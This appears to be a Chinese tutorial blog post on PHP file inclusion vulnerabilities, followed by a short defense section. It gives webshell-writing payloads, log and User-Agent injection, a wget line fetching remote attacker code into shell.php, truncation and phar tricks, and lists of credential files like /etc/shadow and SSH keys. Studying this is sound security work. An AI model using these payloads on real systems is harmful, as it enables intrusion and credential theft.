文件包含漏洞总结 一时失言乱红尘 2022-11-16 05:46 192阅读 0赞 ### 文章目录 ### * 前言 * php文件包含漏洞 * * 1.本地文件包含 * 2.远程文件包含 * 3.本地包含配合apache日志拿shell * 4.利用/proc/self/environ进行包含 * 5. 截断包含 * * 1.使用%00截断(php<5.3.4) * 2.使用长目录截断(php<5.2.8) * 6. 利用php协议进行包含 * 特殊姿势:利用phar伪协议 * 防御 * 参考文章 # 前言 # 主要有远程文件包含与本地文件包含。 # php文件包含漏洞 # 可导致文件包含的函数: include() #无论被包含的文件是什么,都会把被包含的文件内容当php代码执行。 include_once() #同include(),区别是如果文件已被包含则不会被二次包含。 require() #include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的: require_once() # 同上 ## 1.本地文件包含 ## 包含一个本地计算机上的文件,并将被包含文件的内容当作php代码执行。 利用点: 1.读取本地的敏感文件。 2.配合文件上传获取webshell: 上传一个图片木马a.jpg,内容为: <?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?> 访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。 敏感文件位置: 1、Windows: C:boot.ini //查看系统版本 C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件 C:Windowsrepairsam //存储系统初次安装的密码 C:Program Filesmysqlmy.ini //Mysql配置 C:Program Filesmysqldatamysqluser.MYD //Mysql root C:Windowsphp.ini //php配置信息 C:Windowsmy.ini //Mysql配置信息 ... 2、Linux: /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /porc/config.gz ## 2.远程文件包含 ## 包含一个远程计算机上的文件,并将被包含文件的内容当作php代码执行。条件是php必须开启`allow_url_fopen`。 利用点: 在远程主机上创建文件,内容如下,拿webshell: <?fputs(fopen("shell.php","w"),"<?php eval($_POST[pwd]);?>")?> 如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php,内容为`<?php eval($_POST[pwd]);?>`。 ## 3.本地包含配合apache日志拿shell ## apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval(\[$\_POST\]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。 ## 4.利用/proc/self/environ进行包含 ## 找到/proc/self/environ的绝对路径并访问,如果找到后,那我们就可以通过修改user-agent来进行php代码命令执行。 假设我们找到了绝对路径: www.test.com/index.php?page=../../../../../proc/self/environ 选择User-Agent 写代码如下(选择一条去写): <?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> <?fputs(fopen("shell.php","w"),"<?php eval($_POST[pwd]);?>")?> ## 5. 截断包含 ## ### 1.使用%00截断(php<5.3.4) ### 有些开发者为了防止本地包含漏洞,会编写一下代码: <?php Include $_GET['page'].".php" ?> 创建恶意文件,命名为1.jpg,我们如果访问www.test.com/1.jpg,其实访问的是1.jpg.php,然而并没有这个文件,这时候我们使用www.test.com/1.jpg%00即可截断后面的`.php`,从而执行了我们的恶意代码。 ### 2.使用长目录截断(php<5.2.8) ### 在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。 ././././././././././././././etc/passwd 或者 etc/passwd 或者 ../a/etc/passwd/../a/etc/passwd/../a/etc/passwd ## 6. 利用php协议进行包含 ## data: php5.2以后版本 php://input `需要开启allow_url_include` poc: http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00 ## 特殊姿势:利用phar伪协议 ## 1.先上传一个php文件,内容如下: <?php include 'phar://test.zip/test.txt'; ?> 2.创建一个txt文件并打包成,命名为test.zip,txt内容为webshell: <?php eval($_POST[pwd]);?> 3.链接webshell即可上线。 -------------------- include.php代码: <?php $file = $_GET['file']; include($file.'.jpg'); ?> 创建一个1.jpg内容为: <?php phpinfo(); ?> 使用zip命令压缩1.jpg: zip 1.zip 1.jpg 通过phar协议进行文件包含: ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70] # 防御 # 1、无需情况下设置allow\_url\_include和allow\_url\_fopen为关闭 2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open\_basedir 3、尽量不使用动态包含 4、严格检查变量是否已经初始化。 5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。 6、严格检查include类的文件包含函数中的参数是否外界可控。 7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。 8、在发布应用程序之前测试所有已知的威胁。 9、禁用不必要的php伪协议 # 参考文章 # [文件包含漏洞(绕过姿势)][Link 1] [常见文件包含发生场景与防御][Link 2] [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: /images/20221022/4b8e2a8d630e484d808b5dff3c62470c.png [Link 1]: https://thief.one/2017/04/10/2/ [Link 2]: https://www.anquanke.com/post/id/86123
还没有评论,来说两句吧...